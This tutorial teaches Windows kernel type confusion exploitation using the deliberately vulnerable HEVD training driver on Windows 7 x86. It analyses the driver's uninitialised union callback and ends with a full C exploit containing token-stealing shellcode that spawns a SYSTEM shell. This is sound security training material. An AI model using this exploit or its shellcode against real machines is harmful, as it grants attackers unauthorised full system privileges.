0x05 - Introduction to Windows Kernel Type Confusion Vulnerabilities
In the last tutorial we exploited a “Write-What-Where” vulnerability within Windows 7 (x86) and Windows 11 (x64).
As with previous tutorials we will begin exploiting a new flaw against the Windows 7 (x86) kernel to get a solid foundation on how the vulnerability occurs. More specifically we will be learning about Type Confusions!
Table of Contents
What is a Type Confusion (High Level)
Not familiar with what a Type Confusion is? No problem! Let’s start with a quick high-level overview.
To use a non-technical example let’s look at a Dark Souls hypothetical. In the image below we see Siegmeyer of Catarina sitting outside the entrance to Sen’s Fortress.
If we zoom in, we can see that behind Siegmeyer there is an Estus Flask which operates like any flask, however in the Dark Souls universe it is used to replenish health.
Within Sen’s Fortress are enemies known as “Man-Serpent soldiers”, these enemies can be seen below. Being these are snakes, perhaps they also harbor venom.
Being that an Estus Flask holds a liquid, hypothetically one could swap out the liquid used to replenish health with something else or worst tamper it?
Since Siegmeyer is currently absorbed in thought, if we opened the gate and he didn’t snap out of it, hypothetically a serpent could drink a sip of Estus and replace the amount they drank with poison! If Siegmeyer didn’t notice he’s finished!
This attack by the serpent is very similiar to that of a Type Confusion. A Type Confusion occurs when a program incorrectly assumes that an object or variable is of one type when it’s actually another. This kind of mismatch can lead to unintended behavior.
We can map this to our example:
- The program (Siegmeyer) expects a specific type (health potion) based on the object (Estus Flask).
- An attacker (the serpent) changes the underlying data to a different type (poison) without the program realizing.
- The program (Siegmeyer) uses the object and it leads to catastrophic consequences.
In technical terms this happens when programming language variable types are cast improperly, for example in C++ unsafe typecasting or JavaScript with loose typing. Attackers can then leverage these vulnerabilities to acheive memory corruption or even code execution.
With the high-level overview complete, let’s look at some code!
Using the Source
Let’s begin the search by identifying the appropriate files.
$ ls -l | grep Type
-rw-r--r-- 1 wetw0rk wetw0rk 7736 Oct 24 22:20 TypeConfusion.c
-rw-r--r-- 1 wetw0rk wetw0rk 2954 Oct 24 22:20 TypeConfusion.h
Looking at the source, we’re gonna be dealing with the following functions.
TypeConfusionIoctlHandler()
TriggerTypeConfusion()
TypeConfusionObjectInitializer()
TypeConfusionObjectCallback()
Let’s take it from the top!
TypeConfusionIoctlHandler
TypeConfusionIoctlHandler is the function that will get called when sending the IOCTL code. As with previous challenges, we’re getting our input casted into an object / structure. In this case PUSER_TYPE_CONFUSION_OBJECT
.
218 NTSTATUS
219 TypeConfusionIoctlHandler(
220 _In_ PIRP Irp,
221 _In_ PIO_STACK_LOCATION IrpSp
222 )
223 {
224 NTSTATUS Status = STATUS_UNSUCCESSFUL;
225 PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = NULL;
226
227 UNREFERENCED_PARAMETER(Irp);
228 PAGED_CODE();
229
230 UserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
231
232 if (UserTypeConfusionObject)
233 {
234 Status = TriggerTypeConfusion(UserTypeConfusionObject);
235 }
236
237 return Status;
238 }
Let’s take a look at the structure PUSER_TYPE_CONFUSION_OBJECT
within TypeConfusion.h.
Looking at the source code file, we can also see another structure defined, this structure being _KERNEL_TYPE_CONFUSION_OBJECT
.
62 typedef struct _USER_TYPE_CONFUSION_OBJECT
63 {
64 ULONG_PTR ObjectID;
65 ULONG_PTR ObjectType;
66 } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
67
68 #pragma warning(push)
69 #pragma warning(disable : 4201)
70 typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
71 {
72 ULONG_PTR ObjectID;
73 union
74 {
75 ULONG_PTR ObjectType;
76 FunctionPointer Callback;
77 };
78 } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
79 #pragma warning(pop)
If you’re familiar with C this is nothing too complicated. We see two unsigned long pointers when using the USER_TYPE_CONFUSION_OBJECT
structure.
As for the _KERNEL_TYPE_CONFUSION_OBJECT
structure we see a unsigned long pointer, and a union. Within the union we see an unsigned long pointer, and a function pointer.
From an exploit development perspective this would be an ideal target, as FunctionPointer
is a function pointer… as the name implies.
This can further be seen in Common.h.
70 typedef void(*FunctionPointer)();
TriggerTypeConfusion
TriggerTypeConfusion is where PUSER_TYPE_CONFUSION_OBJECT
get’s passed, this function can be seen below.
105 NTSTATUS
106 TriggerTypeConfusion(
107 _In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
108 )
109 {
110 NTSTATUS Status = STATUS_UNSUCCESSFUL;
111 PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;
112
113 PAGED_CODE();
114
115 __try
116 {
117 //
118 // Verify if the buffer resides in user mode
119 //
120
121 ProbeForRead(
122 UserTypeConfusionObject,
123 sizeof(USER_TYPE_CONFUSION_OBJECT),
124 (ULONG)__alignof(UCHAR)
125 );
126
127 //
128 // Allocate Pool chunk
129 //
130
131 KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132 NonPagedPool,
133 sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134 (ULONG)POOL_TAG
135 );
136
137 if (!KernelTypeConfusionObject)
138 {
139 //
140 // Unable to allocate Pool chunk
141 //
142
143 DbgPrint("[-] Unable to allocate Pool chunk\n");
144
145 Status = STATUS_NO_MEMORY;
146 return Status;
147 }
148 else
149 {
150 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
151 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
152 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
153 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
154 }
154 }
155
156 DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
157 DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
158 DbgPrint("[+] KernelTypeConfusionObject Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
159
160 KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161 KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
162
163 DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
164 DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);
165
166
167 #ifdef SECURE
168 //
169 // Secure Note: This is secure because the developer is properly setting 'Callback'
170 // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
171 // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
172 // parameter
173 //
174
175 KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
176 Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
177 #else
178 DbgPrint("[+] Triggering Type Confusion\n");
179
180 //
181 // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
182 // use of the 'UNION' construct. The developer has not set the 'Callback' member of
183 // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
184 // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
185 // parameter
186 //
187
188 Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
189 #endif
190
191 DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194
195 //
196 // Free the allocated Pool chunk
197 //
198
199 ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200 KernelTypeConfusionObject = NULL;
201 }
202 __except (EXCEPTION_EXECUTE_HANDLER)
203 {
204 Status = GetExceptionCode();
205 DbgPrint("[-] Exception Code: 0x%X\n", Status);
206 }
206 }
207
208 return Status;
209 }
As with all large functions, let’s break this down. First, we allocate a PKERNEL_TYPE_CONFUSION_OBJECT
object in the NonPagedPool.
131 KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132 NonPagedPool,
133 sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134 (ULONG)POOL_TAG
135 );
From there assuming everything went well, the driver assigns the ObjectID
, and ObjectType
members to the KernelTypeConfusionObject
structure we allocated using our input.
160 KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161 KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
We then call TypeConfusionObjectInitializer
using this object as it’s only parameter.
188 Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
We’ll skip looking into this function for now, however the returned type is that of NTSTATUS
.
Finishing off this code analysis, we can see that the allocated object get’s free’d then NULL’d out.
191 DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194
195 //
196 // Free the allocated Pool chunk
197 //
198
199 ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200 KernelTypeConfusionObject = NULL;
201 }
202 __except (EXCEPTION_EXECUTE_HANDLER)
203 {
204 Status = GetExceptionCode();
205 DbgPrint("[-] Exception Code: 0x%X\n", Status);
206 }
207
208 return Status;
209 }
The main thing to note about this function is that the Callback
member is never set. We may be able to use this to our advantage…
TypeConfusionObjectInitializer
To recap the PKERNEL_TYPE_CONFUSION_OBJECT
gets passed into the TypeConfusionObjectInitializer function from the TriggerTypeConfusion function.
We can see the source for TypeConfusionObjectInitializer below.
80 NTSTATUS
81 TypeConfusionObjectInitializer(
82 _In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
83 )
84 {
85 NTSTATUS Status = STATUS_SUCCESS;
86
87 PAGED_CODE();
88
89 DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
90 DbgPrint("[+] Calling Callback\n");
91
92 KernelTypeConfusionObject->Callback();
93
94 DbgPrint("[+] Kernel Type Confusion Object Initialized\n");
95
96 return Status;
97 }
Intresting… it looks like we just call the Callback()
member… I wonder if when we write to the KernelTypeConfusionObject we could overwrite or rather assign the adjacent memory some of our buffer?
Dynamic Testing
At this point I felt I had a solid understanding of how this function works, so I decided to start messing with it and observing behavior.
With that I had the following PoC.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
int Exploit(HANDLE hHEVD)
{
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
ULONG oId = 0x41414141;
ULONG oType = 0x42424242;
DWORD dwBytesReturned = 0;
UserTypeConfusionObject.ObjectType = oType;
UserTypeConfusionObject.ObjectID = oId;
DeviceIoControl(hHEVD,
HEVD_IOCTL_TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return 0;
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
Exploit(hHEVD);
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Let’s set a breakpoint right when we call the TypeConfusionInitializer
function to see what is passed into the function.
Once hit we can see that the pointer to our object (stored at the top of the stack) contains a buffer of 16 bytes. That’s approximately 8 more bytes than expected.
If we look at this from the perspective of the structure itself it should only be 8 bytes.
$ gcc struct_size.c -m32
$ ./a.out
Sizeof USER_TYPE_CONFUSION_OBJECT : 8
Sizeof KERNEL_TYPE_CONFUSION_OBJECT : 8
But wait shouldn’t the KERNEL_TYPE_CONFUSION_OBJECT
be 12 bytes “(sizeof(ULONG_PTR) + sizeof(ULONG_PTR) + sizeof(FunctionPointer))”?
After some googling it appears that the size of a union is determined by the size of its largest member.
So, this allocation is 8 bytes??
KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
(ULONG)POOL_TAG
);
Let’s re-run it, this time breaking at the call to ExAllocatePoolWithTag
.
Intresting… as expected it’s 8 bytes…
Now let’s see what’s passed into TypeConfusionObjectInitializer
.
This time we don’t see more than expected data, but we can see that the Callback is an invalid address.
If we continue to step we eventually get to the Callback function call. Once there, we can see that we’re actually calling an invalid address.
More specifically our input.
If we step once more, we can see we successfully trigger a crash.
However, the kernel did not crash! If you continue execution, you’ll notice Windows continues normal behavior. This is really important to know from a exploit development perspective - not all vulnerabilities will trigger a BSOD!
So how did this happen? Since the Union is 4 bytes total and never initialized the ObjectType takes the place of the Callback pointer.
Pretty cool!
Exploitation
Since this is Windows 7 (x86) and we don’t have to worry about modern memory protections, exploitation is as simple as calling our shellcode in userland.
The PoC can be seen below:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* Exploit():
Type Confusion */
int Exploit(HANDLE hHEVD)
{
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
DWORD dwBytesReturned = 0;
LPVOID lpvMemoryAllocation = NULL;
char shellcode[]=
/* sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint */
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
/* Return to Userland */
"\xc3"; // ret
lpvMemoryAllocation = VirtualAlloc(NULL,
53,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpvMemoryAllocation == NULL)
{
printf("[*] Failed to allocate memory for shellcode\n");
}
printf("[*] Allocated memory for shellcode, shellocode @{0x%p}\n", lpvMemoryAllocation);
memcpy(lpvMemoryAllocation, shellcode, 53);
UserTypeConfusionObject.ObjectType = (ULONG)lpvMemoryAllocation;
UserTypeConfusionObject.ObjectID = 0x41414141;
printf("[*] Triggering type confusion\n");
DeviceIoControl(hHEVD,
HEVD_IOCTL_TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation successful, enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Once sent, we get code execution :)